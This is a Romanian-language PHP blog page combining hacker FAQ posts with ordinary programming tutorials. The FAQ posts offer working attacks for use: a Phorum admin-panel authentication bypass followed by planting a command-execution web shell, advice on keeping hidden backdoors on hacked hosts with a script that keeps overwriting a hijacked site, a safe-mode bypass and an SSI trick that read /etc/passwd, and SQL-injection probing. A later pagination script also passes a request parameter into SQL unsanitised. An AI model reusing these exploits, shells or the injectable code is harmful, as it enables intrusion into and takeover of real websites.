RicH and FamouS

       Home         Glosar IT                                                                                                                                                                                                              SUBSCRIBE NOW!
        
Se afișează postările cu eticheta php. Afișați toate postările
Se afișează postările cu eticheta php. Afișați toate postările

04.07.2009

FAQs - №5

Problema: Am auzit, că se poate cumva de intrat în Admin Control Panel al ultimelor versiuni de Phorum 5.1.x fără ca sa ştii parola administratorului. Ştii ceva amănunte despre aceasta?

Rezolvare: Destul de simplu ! Pentru aceasta ai nevoie de a crea un mic html-file cu următorul conţinut:
Cod:
<_html>
<_body>
<_form action="http://phorum.site.com/admin.php" method="POST">
<_input type="hidden" name="phorum_admin_session[]" value="1">
<_input type="hidden" name="phorum_session_v5[]" value="=1">
<_input type="submit" calue="Inject ! ">
<_/form>
<_/body>
<_/html>
P.S. Liniile _ din cod se elimina
După submit tu te vei afla în Admin Control Panel al Phorum-ului. În unele cazuri merge următorul mod de încărcare a shell-ului pe baza bug-ului prezentat mai sus:
  1. Intrăm în pagina de redactare a profilului administratorului. În semnătura lui punem un mic shell ca acesta: <_?php>'; system($_GET [cmd]); print '<_/pre>'; ?>.
  2. În rezultat afişării unui cod incorect în profilul administratorului observăm o greşeală << full path disclosure în momentul intrării in pagina principală a forumului >>. Copiem calea către fişierul cache.php ( de exemplu /home/www/phorum/cache.php), care apoi îi vom face shell în md5.
  3. În configuraţiile Phorum bifăm secţiunea cache users. Arătăm calea pentru fişierele shell-uite /../../../../../../../../../../../../../../../../tmp şi în default language punem /../../../../../../../../../../../../../../../../../tmp/md5('home/www/phorum/cache.php')/user/c4ca/4238/a0b9/2382/0dcc/509a/6f75/849b/data.
  4. Din nou intrăm în Admin Control Panel pentru a activa noul cod în cache şi primim plăcere de la shell. În momentul cînd am scris acest FAQ ambele bug-uri nu erau încă astupate.

29.06.2009

FAQs - №4

Problema: Ocupîndu-mă cu SEO, am întîlnit problema furtului a doorway-urilor. Cum mă pot proteja eu de această "năpastie"?

Rezolvare: Dacă tu faci doorway pe host, hack-uit prin Public Vulnerability pe motorul instalat acolo, atunci poti închide catalogul cu acel motor cu ajutorul chmod, modifică parola hash a administratorului în ceva de genul acesta haha&_$#@%. Dar de obicei aceasta puţin ce ajută, şi doorway-erii întîlnesc problema furtului doorway-urilor post factum, de aceea ţine minte următoarea regulă: pentru ca mai uşor să îţi poţi intoarce doorway-ul, lasă cîte mai multe backdoor-uri şi Shell-uri pe hostul hack-uit, însă cu toate acestea nu uita timpul de modificare a fişierelor prin comanda touch -t AnLunăZiOrăMinuteSecunde shell.php. Dupa furtul de doorway primul lucru care trebuie să îl faci este să găseşti şi să ştergi Shell-urile persoanelor nedorite ( aceasta se poate de facut cu ajutorul comenzii find - -mtime -60-grep.php ), apoi schimbă readresarea către shell-ul tău şi protejazăte cu ajutorul următorului scenariu-php:
Cod:
<_?php
ignore_user_abort(true);
set_time_limit(0);
while (!is_file('stop.dat'))
{
@chmod('/var/www/html/catalog',0777);
$textht='<_?php
header("Location: http://shell-ul_tău.com");
?>';
$fp = @fopen("/var/www/html/catalog/index.php","w");
@flock ($fp, LOCK_EX);
@fput ($fp, $textht);
@flock ($fp, LOCK_UN);
@fclose ($fp);
sleep(5);
}
?_>
P.S. Linia _ din cod se elimina
Încarcă scriptul cu acest cod ( schimbînd dinainte drumul către locaţia unde la tine stă doorway-ul ) într-un oarecare catalog pe server, disponibil din internet, şi lanseazăl în browser. După acesta poţi închide browser-ul. :) Scriptul cu periodicitatea de 5 secunde va rescrie fişierul cu readresarea către al tău, aşa că jefuitorii se vor mira foarte tare cînd vor înscrie fişierul propriu cu readresarea, însă în locul lui momentan va apărea altul.

20.06.2009

FAQs - №2

Problema: Cum pot trece peste Safe-mode în ultimile versiuni PHP?

Rezolvare: Iată unele scripturi, care te vor ajuta să citeşti conţinutul file-urilor şi a fişierelor în sistemă atunci cînd e activat safe-mode: PHP <=4.4.7/5.2.3MySQL/MySQLi Safe Mode Bypass Vulnerability
Cod:
<_?php
file_get_contents('/etc/passwd');
$1 = mysql_connect("localhost","root");

mysql_query("CREATE DATABASE a");
mysql_query("CREATE TABLE a.a (a varchar(1024))");
mysql_query("GRANT SELECT, INSERT ON a.a TO 'aaaa'@'localhost' ");
mysql_close($1);
mysql_connect("localhost", "aaaa");
mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");
$result = mysql_query("SELECT a FROM a.a");
while(list($row) = mysql_fetch_row($result))

print $row . chr(10);
?>
P.S. Linia _ din cod se elimina

_____________________________________________________

Problema: Cum pot depista că SQL-Injecţia se află anume în cererea SELECT, dar nu în cererea DELETE, UPDATE sau altele?

Rezolvare: Pentru aceasta se poate de încercat de pus la sfîrşitul cererei operatorul LIMIT. Lipsa errorii ne va comunica despre, faptul ca serverul lucrează cu MySQL (deoarece, precum ştim, LIMIT - nu e standartul Structured Query Language) şi, desigur, despre faptul că acolo întradevăr figurează operatorul SELECT. Însă în cazul în care nu e MySQL, atunci utilizatorul care atacă poate să încerce să pună GROUP BY 1 sau HAVING 1=1 - cereri, care se referă către standartul limbajului SQL şi care lucrează doar în operatorul SELECT. Aceste 2 metode pot afla tipul cererii şi pot stabili care va fi tehnica de hack mai departe a resursei.

16.06.2009

FAQs - №1

Problema: Cum e posibil transmiterea de fişiere de pe un server pe altul fară implicarea utilizatorului şi fară necesitatea de copiere a acestuia pe computerul propriu?

Rezolvare: Desigur pentru rezolvarea acestei probleme se poate utiliza FTP, dar eu totuşi aş prefera să scriu în PHP 2 scripturi:
  • Script-server server.php, care transmite conţinutul fişierului în următoarea cerere-POST:
    Cod:
    POST http://host.com/client.php HTTP/1.0
    Host: host.com
    Content-Type: multipart/form-data;
    boundary=1BEF0A57BE110FD467A
    Content-Length: numărul_de_simboluri_in_fişier (funcţia strlen())

    - 1BEF0A57BE110FD467A
    Content-Disposition: form-data;
    name="file";
    filename="NUMELE_FIŞIERULUI.TXT"
    Content-Type: application/octet-stream
    Content-Transfer-Encoding: binary
    - 1BEF0A57BE110FD467A --
    Connection: Close
    Semnătura: conţinutul fişierului
  • Script-client client.php, care prinde fişierul încărcat din $_FILE['file']['tmp_name'].
_____________________________________________________

Problema:
În ce mod se poate de executat system commands în web-shell cu ajutorul PHP, dacă este activat Safe-mode şi nu am posibilitatea să încarc un web-shell în Perl?

Rezolvare: De ce oare toţi ţin minte despre executarea system commands cu ajutorul Perl şi PHP, şi din contra toţi uita despre un astfel de lucru precum SSI (Server Side Includes).
Acestea sunt directivele în fişiere de tip shtml, care se execută de către web-server fară ajutorul utilizatorului. Cu ajutorul SSI se poate de creat lucruri destul de interesante: începînd cu includerea de fişierelor şi terminind cu executarea de system commands. Deci SSI se include direct în corpul paginii web în forma:
Cod:
<_html>
<_body>
<_!--#exec cmd="ls - la/; cat/etc/passwd">
<_/body>
<_/html>
P.S. Toate _ din cod se elimina
Desigur, cînd vei intra pe site tu vei vedea executarea directivelor date de tine "ls - la/" şi "cat/etc/passwd". :)

13.05.2009

Feţele creatorilor popularelor limbaje de programare

Este destul de fascinanta ideea de a te familiariza cu fetele persoanelor ce stau in spatele popularelor limbaje de programare, in care noi petrecem ore in sir insusind-le si folosindu-le din plin. Lista ar putea să nu fie cuprinzătoare, insa ea contine aproape toate popularele limbaje de programare utilizat în timpurile moderne. Deci, sa-i dam drumul.

PHP
Rasmus Lerdorf (născut la 22 noiembrie 1968 în Qeqertarsuaq, Groenlanda) este un programator Danish-Greenlandic si este cel mai de seamă creator al limbajului de programare PHP.El este autorul primelor două versiuni.

Python
Guido van Rossum este un programator olandez, care este cel mai bine cunoscut ca autorul limbajului de programare Python. În comunitatea Python, Van Rossum este cunoscut ca “Benevolent Dictator for Life” (BDFL), ceea ce înseamnă că el continuă să supravegheze limbajul Python in procesul de dezvoltare, luind decizii în cazul în care este necesar. El este in prezent angajat a companiei Google, unde îşi petrece jumătate din timpul său asupra dezvoltarii limbajului Python.

Ruby
Yukihiro Matsumoto (Yukihiro Matsumoto, aka Matz, născut pe 14 aprilie 1965) este un om de ştiinţă in domeniul "Computer science" japonez şi designer de software cel mai bine cunoscut ca programator şef al limbajului de programare Ruby şi implementarea de referinţă (MRI). Sa nascut in Osaka Prefecture, în vestul Honshū. Potrivit unui interviu realizat de Japonia Inc., el a fost un programator autodidact, până la sfârşitul anilor de liceu. A absolvit Universitatea Tsukuba, unde el asociat cu departamentele de cercetare se ocupă de limbaje de programare şi compilatoare.

Ruby on Rails
(Cu toate că, Ruby on Rails este o aplicaţie web open source schiţata din limbajul de programare Ruby)
David Heinemeier Hansson este un programator danez, creatorul aplicaţie web (open source) Ruby on Rails si a Instiki wiki. El este, de asemenea, partenerul firmei 37signals bazata pe dezvoltare web-software.

Perl
Larry Wall (născut la 27 septembrie 1954) este un programator şi autorul, cel mai bine cunoscut pentru crearea de limbajul de programare Perl, în 1987.

JavaScript
Brendan Eich (nascut in anul 1961) este programator si creatorul limbajului de programare JavaScript. El este Chief Technology Officer la Mozilla Corporation.

10.04.2009

Pagini protejate la spam

Probabil pe multe site-uri care le faceti exista pagini de contact care trimit emailuri cu ceea ce posteaza vizitatorii in niste forme. Trebuie stiuc ca acele forme sint des folosite de spammeri sa trimita emailuri in masa folosind site-ul vostru. Chestia nu tine de un limbaj de script anume ci e generala, doar ca voi exemplifica mai jos cu PHP.

De exemplu multa lume are ceva de genul:

Cod:
<php
if(isset($_POST['mesaj']))
if(mail("trimite@email.com",$_POST['subiect'],$_POST['mesaj']))
echo "Mesaj trimis;
else
echo "Eroare la trimitere";
...

Cu astea un spammer poate trimite foarte usor mesajele lui la cita lume vrea, creeind un mesaj pe care il posteaza direct in pagina cu subiectul falsificat. Ceva de genul:

Subiectul lui \n
bcc: email1@undeva.com, email2@undeva.com, ...

Iar la mesaj e destul sa posteze ce vrea el. El stie ca mesajul ce se creeaza automat va avea asa:

To:trimite@email.com \n
Subject: Subiectul lui \n
bcc: email1@undeva.com, email2@undeva.com, ...

Care pur si simplu va trimite emailul la toata lumea specificata in BCC.

La fel se intimpla cu multe alte limbaje de script server-side si componentele folosite pt. trimiterea emailului.

Ca sa protejezi pagina poti cel mai simplu sa limitezi stringurile folosite. De exemplu pentru aceasta situatie poti face asa:

Cod:
...
mail("trimite@email.com",substr($_POST['subiect'],0,20),"Mesajul trimis:\n\n".$_POST['mesaj'])
...

Cu astea nu mai poate pasa direct in cimpul 'subiect' ce valori vrea pt. ca sint folosite doar primele 20 caractere, mult prea putin din ce are el nevoie (nu-i interesant pt. spammer sa trimita cite un mesaj o data). Iar la 'mesaj' tocmai ai inserat niste linii goale as aca nu mai poate crea mesajul email de care ar avea el nevoie care sa includa si BCC.

Cum stii cind un spammer iti foloseste site-ul? Simplu: de regula incepi sa primesti notificari ale emailurilor ce nu au ajuns la destinatie si pe care nu le-ai trimis. De regula un spammer nu gaseste site-urile mici cu citiva zeci de vizitatori, dar daca site-ul vostru este gasit cu search engines aveti grija cum tratati trimisul emailurilor din pagini.

05.04.2009

PHP & SOAP

Acest articol este despre PHP si SOAP. SOAP inseamna 'Simple Object Access Protocol'. Sau altfel spus este un protocol de apel al unor functii de pe alte servere folosind XML pentru codificarea numelor de functie apelate, parametri si returnarea rezultatelor. Puteti citi mai multe despre SOAP in multe locuri, inclusiv http://en.wikipedia.org/wiki/SOAP .

O sa dau exemplul de acolo pentru apelul functiei si raspunsul primit.

Cod:
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<getProductDetails xmlns="http://warehouse.example.com/ws">
<productId>827635</productId>
</getProductDetails>
</soap:Body>
</soap:Envelope>

La care se poate primi raspunsul:

Cod:

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<getProductDetailsResponse xmlns="http://warehouse.example.com/ws">
<getProductDetailsResult>
<productName>Toptimate 3-Piece Set</productName>
<productId>827635</productId>
<description>3-Piece luggage set. Black Polyester.</description>
<price>96.50</price>
<inStock>true</inStock>
</getProductDetailsResult>
</getProductDetailsResponse>
</soap:Body>
</soap:Envelope>


Aceste lucruri sint disponibile si in PHP prin intermediul unur librarii care simplifica lucrurl cu SOAP. O sa spun aici despre NuSOAP dezvoltata de Dietrich Ayala, disponibila la http://dietrich.ganx4.com/nusoap/index.php (open-source).

O sa dau aici un exemplu concret de folosire a acestei librarii pentru integrarea in site-ul dvs. a cautarii cu Google.com, insa nu doar afisarea unui link care deschide Google. Exista la Google.com niste web service-uri care folosesc SOAP si care pot fi folosite pentru a integra cautarea lor cu orice alt site sau chiar aplicatie prin intermediu unor functii (API). Detalii gasiti la http://www.google.ca/intl/en/apis/. Trebuie o inregistrare gratuita de unde o sa primiti un cod de folosit in cod. Apoi puteti dezvolta pagina de cautare folosita pe site-ul dvs. care afiseaza rezultatele direct pe pagina (nu in pagini la Google.com).

Folosirea acestor librarii este relativ simpla:
- Dupa instalarea (copierea) pe server a librariei pt. SOAP folosite (NuSOAP aici) se face un include la fisierele ei;
- Se creaza un obiect SOAP Client;
- Se initializeaza parametrii;
- Se executa cautarea apelind functiile web service-ului (Google.com aici);
- Se afiseaza rezultatele.

Concret:

Cod:

// Include libraria NuSOAP
require_once('nusoap.php');
// Seteaza parametrii
$parameters = array(
'key'=>'......', // cheia data de Google.com
'q' => "programare.org", // cuvint cheie de cautat
'start' => 0, // pagina de start
'maxResults' => '10', // nr. de intrari pe pagina
'filter' => 'false',
'restrict' => '',
'safeSearch' => 'false',
'lr' => '',
'ie' => 'latin',
'oe' => 'latin'
);
$soapclient = new soapclient ('http://api.google.com/GoogleSearch.wsdl', 'wsdl');
$results = $soapclient->call('doGoogleSearch',$parameters);
if ( is_array($results['resultElements']) ) {
print "<p><b>Cautarea pentru 'programare.org' a gasit ".
$results['estimatedTotalResultsCount'] . " intrari:</b></p>";
foreach ( $results['resultElements'] as $result ) {
print "<p><a href='" . $result['URL'] . "' target='_blank'>" .
( $result['title'] ? $result['title'] : 'no title' ) .
"</a><br />" . $result['URL'] . "<br />" .
( $result['snippet'] ? $result['snippet'] : 'no snippet' ) .
"<br><span class='g'>".$result['URL']."</span></p>";
}
} else { // Daca nu returneaza nimic
print "<b>Cautarea cu Google.com nu a returnat nimic</b>";
}

Dupa cum vedeti detaliile complicate de codate XML a apelului functiei cu toti parametrii sai este realizata de libraria NuSOAP care in final ofera raspunsul intr-un sir simplu de folosit.

Acesta este un exemplu de creare a unui client SOAP care foloseste un web service existent chemind functiile lui. Insa se pot crea si servere SOAP care sa raspunda la apelul altor pagini carora sa le ofere un serviciu de pe site-ul dvs. Insa despre asta in alt articol.

Numar variabil de parametri in PHP

Exista citeva functii pentru manipularea functiilor cu numar variabil de parametri. Aceseta sint:

- func_get_arg -- returneaza un parametru bazat pe un indice
- func_get_args -- returneaza un sir (array) cu parametri
- func_num_args - returneza numarul parametrilor

De exemplu:
<?php
function test() {
echo "Parametrii dati sint:<br>";
for($i=0;$i<func_num_args();$i++)
echo "param[".$i."]=".func_get_arg($i)."<br>";
}
test(3,2,1);
?>

Asta o sa afiseze:

Parametrii dati sint:
param[0]=3
param[1]=2
param[2]=1

Aceste functii se pot dovedi foarte utile pentru crearea unor functii generice sau in alte situatii speciale.

Getter, setter si evenimente in PHP

Pentru folosirea setterilor si getterilor :
- se declara proprietatea private
- se declara o functie cu numele "get".nume_properietate
- se declara o functie cu numele "set".nume_properietate

Pentru folosirea evenimentelor
- se creaza o innstanta a clasei
- evenimentele sunt de forma "on".numefunctie = "nume_functie_utilizator"
- functia trebuie declarata private
- (!) valoarea returnata de eveniment este trimisa ca ultim parametru pentru functie

Cod:

<?php
class TException extends Exception {
public function __construct ( $errorCode, $errorDescription ) {
echo htmlspecialchars("<" . $errorCode . "> " . $errorDescription );
}
}
class generic {
# array cu evenimentele
private $e = array ( );
public function addEventListener ( $property, $value ) {
if ( strpos($property, "on") === FALSE ) throw new
TException("addEventListener", "sintaxa eveniment incorecta : " .
$property );
if ( is_array($value) ) {
$object = each ( $value );
$method = $object["value"];
$object = $object["key"];
if ( ! method_exists($object, $method) ) throw new
TException("addEventListener", "metoda '". $method ."' nu exista (
instanta obiectului : '". $object ." )");
} else if ( ! function_exists($value) ) throw new TException("addEventListener", "functia '". $value ."' nu exista");
$this->e[$property] = $value;
}
//
// removeEventListener ?
//
public function eventExists ( $eventName ) {
return ( isset($this->e[$eventName] ) ) ? 1 : 0;
}
public function getEventListener( $eventName ) {
return $this->e[$eventName];
}
public function callEvent ( $eventName ) {
if ( $this->eventExists($eventName) ) {
if ( func_num_args() > 1 ) {
$args = func_get_args();
array_shift($args);
return call_user_func_array( $this->getEventListener($eventName), $args ) ;
} else return call_user_func( $this->getEventListener($eventName) );
}
}
public function __get ( $a ) {
$getter = "get" . $a;
if ( method_exists($this, $getter) ) return call_user_func( array(&$this,$getter) );
else throw new TException ( "__get", "proprietatea $a nu are getter");
}
public function __set ( $a, $v ) {
$setter = "set" . $a;
if ( strpos($a,"on") !== FALSE ) $this->addEventListener($a, $v);
elseif ( method_exists($this, $setter) ) return call_user_func( array(&$this,$setter), $v );
else throw new TException ( "__set", "proprietatea $a nu are setter");
}
public function __call ( $f, $a ) {
$eventResult = $this->callEvent("on".$f, $a);
$a[count($a)+1] = $eventResult;
return call_user_func_array( array( &$this,"_".$f ), $a ) ;
}
}
?>

Afisarea paginilor numerotate in PHP

De curand pe cand ma uitam in loguri, m-am
gandit ca pagina care imi afiseaza doar ultimele 10 inregistrari din
baza de date nu ma multumeste si atunci am zis ca trebuie sa fac cumva
sa pot vedea cate 10 inregistrari si sa am posibilitatea de a putea
selecta eu ce pagina vreau sa imi afiseze scriptul. La inceput parea
complicat dar dupa 15 minute de gandire si 5 de programare am reusit sa
fac scriptul de mai jos care imi returneaza pentru inceput ultimele 10
inregistari din baza de date si sub ele se afiseaza numerele pentru
restul paginilor:

Cod:

<?
// Pentru inceput se stabilesc parametrii doriti:
$rezultate_afisare_pagina = 10; // specificati nr de rezultate care vor fi afisate pe pagina
$numere_rand = 15; // specificati dupa cate numere se va trece la rand nou
$numele_paginii = "pagina_demo.php"; // numele acestei pagini in care aveti scriptul
$server_bd = "localhost"; // adresa serverului mysql (de obicei localhost)
$user_bd = "root"; // userul cu care va conectati la bd
$parola_bd = "parola"; // parola pentru conectarea la bd
$nume_bd = "nume_baza_date"; // numele bazei de date folosite
$tabel_bd = "numele_tabelului_din_bd"; // numele tabelului pe care se lucreaza
// Apoi se face o interogare la baza de date pentru a vedea cate randuri exista:
$conectare = mysql_connect($server_bd, $user_bd, $parola_bd) OR die("<br>Eroare 1");
mysql_select_db($nume_bd, $conectare) OR die("<br>Eroare 2");
$interogare = "SELECT * FROM '".$tabel_bd."'";
$rezultat = mysql_query($interogare, $conectare) OR die("<br>Eroare 3 ");
$nr_total_pagini = (integer)(mysql_num_rows($rezultat)/$rezultate_afisare_pagina);
// In continuare se face interogarea pentru afisarea rezultatelor
if (isset($_GET['id']))
{
// daca se cere o anumita pagina
$id = $_GET['id'];
$interogare = "SELECT * FROM ".$prefix_tabel_bd."download_ver LIMIT ".$id.",".$rezultate_afisare_pagina;//
}
if (!isset($_GET['id']))
{
// daca se acceseaza pagina prima data se afiseaza ultimele inregistrari din bd
$interogare = "SELECT * FROM ".$prefix_tabel_bd."download_ver ORDER BY id DESC LIMIT 0,".$rezultate_afisare_pagina;
}
$rezultat = mysql_query($interogare, $conectare) OR die("<br>Eroare 4 ");
// aici se afiseaza rezultatele in pagina
while ($rand = mysql_fetch_array($rezultat))
{
echo $rand['coloana1']; // specificati coloanele din tabel pe care doriti sa le afisati
}
// dupa afisarea rezultatelor se afiseaza in continuare numerele pentru celelalte pagini
$randuri = (integer)($nr_total_pagini / $numere_rand);
$nrr = 0;
for ($ee=1;$ee<=$randuri;$ee++)
{
$nrr = $nrr+$numere_rand;
$rnd[$ee] = $nrr;
}
$id_m = 0;
echo '<div align="center">';
for ($s=1;$s<=$nr_total_pagini+1;$s++)
{
echo ' - <a href="'.$numele_paginii.'?id='.$id_m.'">'.$s.'</a>';
foreach($rnd as $val)
{
if ($s == $val)
{
echo "<br>";
}
}
$id_m = $id_m + $rezultate_afisare_pagina;
}
echo ' - <br><br></div>';
?>

Scriptul de mai sus va afisa, daca este accestat prima data,
ultimele $rezultate_afisare_pagina existente in baza de date, iar sub
rezultate va afisa un sir de numere care corespund celorlalte pagini.
(Exemplu: Pagina 1 - 2 - 3 - 4 -)

Daca dati clik pe unul din numere se va incarca din nou pagina si va
afisa $rezultate_afisare_pagina incepand de la id-ul specificat
(tabelul din baza de date trebuie sa aiba un camp numit id care se
incrementeaza automat la fiecare inregistrare altfel nu va functiona
interogarea (sau schimbati ORDER BY id DESC cu ce doriti voi)).

04.04.2009

Curatarea parametrilor in PHP

Asa cum s-a spus in alt articol permanent este o problema de securitate cu
valizarea parametrilor pasati paginilor care pot contine comenzi SQL
sau cod JavaScript nedorit. Exista unele functii inglobate in PHP care
va ajuta sa curatati parametrii, iar pentru alte lucruri se pot crea
functii noi.

O astfel de functie este strip_tags() care elimina tagurile HTML din stringul specificat, sau permite doar unele taguri. De obicei este bine de eliminat < script >, <
iframe > sau altele care pot altera pagina HTML. Sau altadata nu
sint persmise imagini sau taguri de formatare a textului.

O alta functie utila este htmlspecialchars() care codifica citeva caractere speciale:

'&' (ampersand) devine '&amp;'
'"' (ghilimele) devine '&quot;'
''' (apostrof) devine '''
'<' (mai mic) devine '&lt;'
'>' (mai mare) devine '&gt;'

Mai generala este htmlentities()
care este asemanatoare cu functia anterioara cu precizarea ca
functioneaza si pentru alte caractere care au codificari HTML, pe linga
cele de la htmlspecialchars():

'(c)' devine &copy;
'(r)' devine &reg;
etc.

Mai jos o sa dau un exemplu de functie care elimina dintr-un string
anumite caractere. Poate fi folosita pentru a eliminina ';', spatii,
apostroafe, ghilimele sau altele. In acest mod SQL injection sau Cross
Site Scripting (XSS, injectare de cod JavaScript) nu mai este posibil.

Cod:

function strip_chars($string,$chars) {
preg_match_all("(.)",$chars,$tmp_clean);
return(str_replace($tmp_clean[0],array_fill(0,count($tmp_clean),""),$string));
}



Apoi o sa poata fi folosita:

echo strip_chars("Un text 'oarecare';"," ';");

Ceea ce va afisa: 'Untextoarecare'

Ca regula generala intotdeauna sa fiti atenti la ce se paseaza la o
pagina sau este afisat, mai ales cind este vorba de cod HTML sau
parametri care pot fi schimbati in mod voit in pagini.

PHP si functiile de retea

Testele au fost efectuate intr-o retea locala, majoritatea
calculatoarelor fiind Pentium III si Pentium IV, ruland sub Windows.
Exista si un calculator Linux (server-ul de Internet). IP-urile sunt
alocate static in domeniul 192.168.168.x.

Pentru testele descrise in acest articol a fost utilizat un Pentium
III, cu memoria interna 256 Mo, discul dur de 20 Go, frecventa de lucru
de 1000 MHz, sistemul de operare Windows 2000 Professional, plus
server-ul de Web Microsoft IIS, avand numele FORUM.

Programele au fost scrise in limbajul PHP, au fost stocate pe
server in directorul TEST, fiind lansate in executie de pe orice alt
calculator din retea, tastand urmatoarea adresa in Internet Explorer: http://forum/test/program.php

Fie urmatorul program PHP:

Cod:
<?ph
$timp1 = time();
$ip = $_SERVER['REMOTE_ADDR']; // adresa clientului
echo 'Adresa IP a clientului este '.$ip.'<br>';
echo 'Se presupune masca 255.255.255.0'.'<br>';
$lungime=strlen($ip);
if($lungime>0)
{
$pozitie = strrpos($ip,'.');
if ($pozitie === false)
{
// nu exista punct in adresa IP!
}
else
{
$retea=substr($ip,0,$pozitie);
echo 'Adresa de retea este '.$retea.'<br>';
$lim_inf = 1; // limita inferioara
$lim_sup = 254; // limita superioara
echo 'Se scaneaza intervalul ['.$retea.'.'.$lim_inf.', '.$retea.'.'.$lim_sup.']'.'<br>';
$gasite = 0;
for($indice=$lim_inf;$indice<=$lim_sup;$indice++)
{
$ip_temp = $retea.'.'.$indice;
$gazda=gethostbyaddr($ip_temp);
if($gazda!=$ip_temp)
{
echo 'Adresa IP este '.$ip_temp.', numele gazdei este '.$gazda.'<br>';
$gasite = $gasite + 1;
}
}
echo 'Au fost gasite '.$gasite.' calculatoare in functiune'.'<br>';
}
}
else
{
echo 'Adresa IP nula'.'<br>';
}
$timp2 = time();
$secunde = ($timp2 - $timp1);
echo 'A durat '.$secunde.' secunde'.'<br>';
$minute = round($secunde / 60);
echo 'Adica '.$minute.' minut(e)'.'<br>';
?>

Explicatiile sunt extrase din Manualul PHP (http://www.php.net/manual/en/).

$_SERVER este un masiv (tablou) asociativ care contine informatii
diverse furnizate de server-ul Web. Nu exista nici o garantie ca
fiecare server Web furnizeaza astfel de informatii. Server-ele Web pot
omite unele din informatii, in timp ce vor furniza altele
(necunoscute). Masivul $_SERVER este ,,superglobal'', adica o variabila
globala in mod automat. NU este necesar ca variabila $_SERVER sa fie
declarata ca fiind globala. Variabila $HTTP_SERVER_VARS contine
aceleasi informatii, dar nu este globala in mod automat! Variabilele
$_SERVER si $HTTP_SERVER_VARS sunt doua variabile diferite, chiar daca
ambele contin aceleasi informatii.

Variabila $_SERVER['REMOTE_ADDR'] reprezinta adresa IP a clientului
(de exemplu, 192.168.168.39). Presupunand masca de retea 255.255.255.0,
rezulta ca adresa retelei va fi 192.168.168. Asta inseamna ca adresele
IP ale calculatoarelor din reteaua locala se vor afla in intervalul
[192.168.168.1, 192.168.168.254]. Au fost omise adresele 192.168.168.0
(reteaua in totalitatea ei, NETWORK) si 192.168.168.255 (toate
calculatoarele din retea, BROADCAST).

Exemplu:

Cod:
$ip = $_SERVER['REMOTE_ADDR']; // adresa clientului

Functia predefinita GETHOSTBYADDR permite aflarea numelui unui
calculator pe baza adresei IP cunoscute. De exemplu, in reteaua de mai
sus, adresei 192.168.168.40 ii corespunde numele FORUM, iar adresei
192.168.168.39 ii corespunde numele BRIO.

Exemplu:

Cod:
$gazda = gethostbyaddr($ip);

In caz de esec (gazda negasita), functia GETHOSTBYADDR returneaza IP-ul argument, in loc de numele gazdei.

Exemplu:

Cod:
if($gazda==$ip)
{
// esec
}

Afisarea corecta a informatiilor despre data si ora curenta

Scriptul urmator preia data si ora curenta de pe server si o afiseaza in browser.

Cod:
<?php
/* aici se introduce diferenta de ora
daca ora de pe server nu corespunde
cu ora reala) */
$diferenta_de_ora = "0";
// aici se calculeaza ora curenta
$timeadjust = ($diferenta_de_ora * 60 * 60);
// aici se preia data curenta de pe server
$data_curenta = date("d-m-Y",time()+$timeadjust);
// aici se preia ora curenta de pe server
$ora_curenta = date("H:i:s",time()+$timeadjust);
echo "Data de azi este: ".$data_curenta."<br>";
echo "Acum este ora: ".$ora_curenta;
?>

Afisarea informatiilor despre vizitator

Scriptul php de mai jos afiseaza tipul browserului, data curenta a serverului, ip-ul si hostname-ul, in momentul accesarii fisierului php.

Cod:
<?php
// aici se cere variabila pentru browser
$browser = $_SERVER["HTTP_USER_AGENT"];
// aici se actualizeaza variabila de timp
$timp = time();
// variabila pentru IP-ul pe care il aveti
$ip = getenv("REMOTE_ADDR");
// variabila pentru hostname
$ip_name = gethostbyaddr($ip);
// afisarea informatiilor
echo "Browser si so: ".$browser.
"<BR>data si ora: ".gmdate
("d.m.Y - H:i:s",$timp).
"<br> ip: ".$ip." <br>host: ".$ip_name;
?>

03.04.2009

Lucrul cu date in PHP

Lucrul cu tipul data in PHP nu este foarte complicat insa are citeva aspecte. Functiile referitoare la date sint: checkdate , date , getdate , gettimeofday , gmdate , gmmktime , gmstrftime , localtime , microtime , mktime , strftime , strtotime , time. Vedeti descrierea lor in manual cu paramaterii care ii au. Dupa cum vedeti nu sint foarte multe insa suficiente pentru majoritatea lucrurilor necesare.
Nu exista o functie la fel ca in VBScript DateAdd() care sa adauge sau sa scada o valoare dintr-o data existenta. Pentru asta vedeti functia de mai jos:

Cod:
function DateAdd($v,$d=null , $f="d/m/Y"){
$d=($d?$d:date("Y-m-d"));
return date($f,strtotime($v." days",strtotime($d)));
}

Aceasta este facuta sa functioneze pentru a aduna sau scadea zile, nu ore sau alte elemente ale datei. Se apeleaza simplu: echo DateAdd(2);

O sa afiseze data de peste 2 zile, in formatul zi/luna/an. Daca doriti sa afisati data incepind cu o alta referinta nu ziua curenta se folsoeste asa: echo DateAdd(-4,"05/05/2005");
O sa afiseze "01/05/2005", adica cu 4 zile in urma datei specificate.

Daca doriti sa schimbati formatul se poate face asa:
echo DateAdd(1,"05/05/2005","Y-m-d");

Sau pentru a folosi data curenta cu alt format se poate folosi:
echo DateAdd(1,0,"Y-m-d");

O alta functie utila prezenta in VBScript este DateDiff() care calculeaza diferenta intre 2 date in zile, ore, minute, etc. Dau mai jos o astfel de functie si pt. PHP:

Cod:
function DateDiff($d1,$d2,$f="d") {
switch($f) {
case "h":
return intval((strtotime($d1)-strtotime($d2))/3600);
break;
case "m":
return intval((strtotime($d1)-strtotime($d2))/60);
default:
return intval((strtotime($d1)-strtotime($d2))/86400);
break;
} }

Apoi se apeleaza simplu:
echo DateDiff("2005-05-05","2005-05-01"); // numar de zile: 4
echo DateDiff("2005-05-05 05:00","2005-05-01 06:00","h"); // numar de ore
echo DateDiff("2005-05-05 05:00","2005-05-01 06:00","m"); // numar de minute

Dupa cum vedeti e destul de simplu de manevrat informatiile de tip data si in PHP chiar daca uneori avem nevoie de functii construite de noi (sau altii :) ).

    Blog din Moldova    FastCounter 

 
Copyright © 2008-2010 Foster1. All rights reserved.